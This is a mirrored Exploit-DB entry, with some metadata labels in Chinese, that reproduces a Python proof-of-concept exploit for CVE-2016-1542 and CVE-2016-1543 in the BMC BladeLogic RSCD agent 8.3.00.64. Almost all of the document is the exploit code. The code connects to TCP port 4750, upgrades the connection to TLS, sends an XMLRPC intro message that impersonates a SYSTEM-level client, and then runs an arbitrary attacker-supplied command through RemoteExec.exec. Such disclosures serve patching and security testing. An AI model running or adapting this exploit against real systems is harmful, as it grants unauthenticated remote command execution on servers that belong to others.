BMC BladeLogic 8.3.00.64 – Remote Command Execution

• Exploit Database
• 116 阅读

• 作者： Paul Taylor
  日期： 2018-01-26
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/43902/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117

  # Exploit Title: BMC BladeLogic RSCD agent remote exec - XMLRPC version # Filename: BMC_rexec.py # Github: https://github.com/bao7uo/bmc_bladelogic # Date: 2018-01-24 # Exploit Author: Paul Taylor / Foregenix Ltd # Website: http://www.foregenix.com/blog # Version: BMC RSCD agent 8.3.00.64 # CVE: CVE-2016-1542 (BMC-2015-0010), CVE-2016-1543 (BMC-2015-0011) # Vendor Advisory: https://docs.bmc.com/docs/ServerAutomation/87/release-notes-and-notices/flashes/notification-of-critical-security-issue-in-bmc-server-automation-cve-2016-1542-cve-2016-1543 # Tested on: 8.3.00.64   #!/usr/bin/python   # BMC BladeLogic RSCD agent remote exec - XMLRPC version # CVE: CVE-2016-1542 (BMC-2015-0010), CVE-2016-1543 (BMC-2015-0011)   # By Paul Taylor / Foregenix Ltd   # Credit: https://github.com/ernw/insinuator-snippets/tree/master/bmc_bladelogic # Credit: https://github.com/yaolga   # Credit: Nick Bloor for AWS image for testing :-) # https://github.com/NickstaDB/PoC/tree/master/BMC_RSCD_RCE   import socket import ssl import sys import argparse import requests import httplib from requests.packages.urllib3 import PoolManager from requests.packages.urllib3.connection import HTTPConnection from requests.packages.urllib3.connectionpool import HTTPConnectionPool from requests.adapters import HTTPAdapter     class MyHTTPConnection(HTTPConnection): def __init__(self, unix_socket_url, timeout=60): HTTPConnection.__init__(self, HOST, timeout=timeout) self.unix_socket_url = unix_socket_url self.timeout = timeout   def connect(self): self.sock = wrappedSocket     class MyHTTPConnectionPool(HTTPConnectionPool): def __init__(self, socket_path, timeout=60): HTTPConnectionPool.__init__(self, HOST, timeout=timeout) self.socket_path = socket_path self.timeout = timeout   def _new_conn(self): return MyHTTPConnection(self.socket_path, self.timeout)     class MyAdapter(HTTPAdapter): def __init__(self, timeout=60): super(MyAdapter, self).__init__() self.timeout = timeout   def get_connection(self, socket_path, proxies=None): return MyHTTPConnectionPool(socket_path, self.timeout)   def request_url(self, request, proxies): return request.path_url     def optParser(): parser = argparse.ArgumentParser( description="Remote exec " + "BladeLogic Server Automation RSCD agent" ) parser.add_argument("host", help="IP address of a target system") parser.add_argument( "-p", "--port", type=int, default=4750, help="TCP port (default: 4750)" ) parser.add_argument("command", help="Command to execute") opts = parser.parse_args() return opts     def sendXMLRPC(host, port, packet, tlsrequest): r = tlsrequest.post( &apos;http://&apos; + host + &apos;:&apos; + str(port) + &apos;/xmlrpc&apos;, data=packet ) print r.status_code print r.content return     intro = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteServer.intro</methodName><params><param><value>2016-1-14-18-10-30-3920958</value></param><param><value>7</value></param><param><value>0;0;21;AArverManagement_XXX_XXX:XXXXXXXX;2;CM;-;-;0;-;1;1;6;SYSTEM;CP1252;</value></param><param><value>8.6.01.66</value></param></params></methodCall>""" options = optParser() rexec = options.command PORT = options.port HOST = options.host rexec = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteExec.exec</methodName><params><param><value>""" + rexec+ """</value></param></params></methodCall>"""   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((HOST, PORT))   sock.sendall("TLSRPC") wrappedSocket = ssl.wrap_socket(sock)   adapter = MyAdapter() s = requests.session() s.mount("http://", adapter)   sendXMLRPC(HOST, PORT, intro, s) sendXMLRPC(HOST, PORT, rexec, s)   wrappedSocket.close()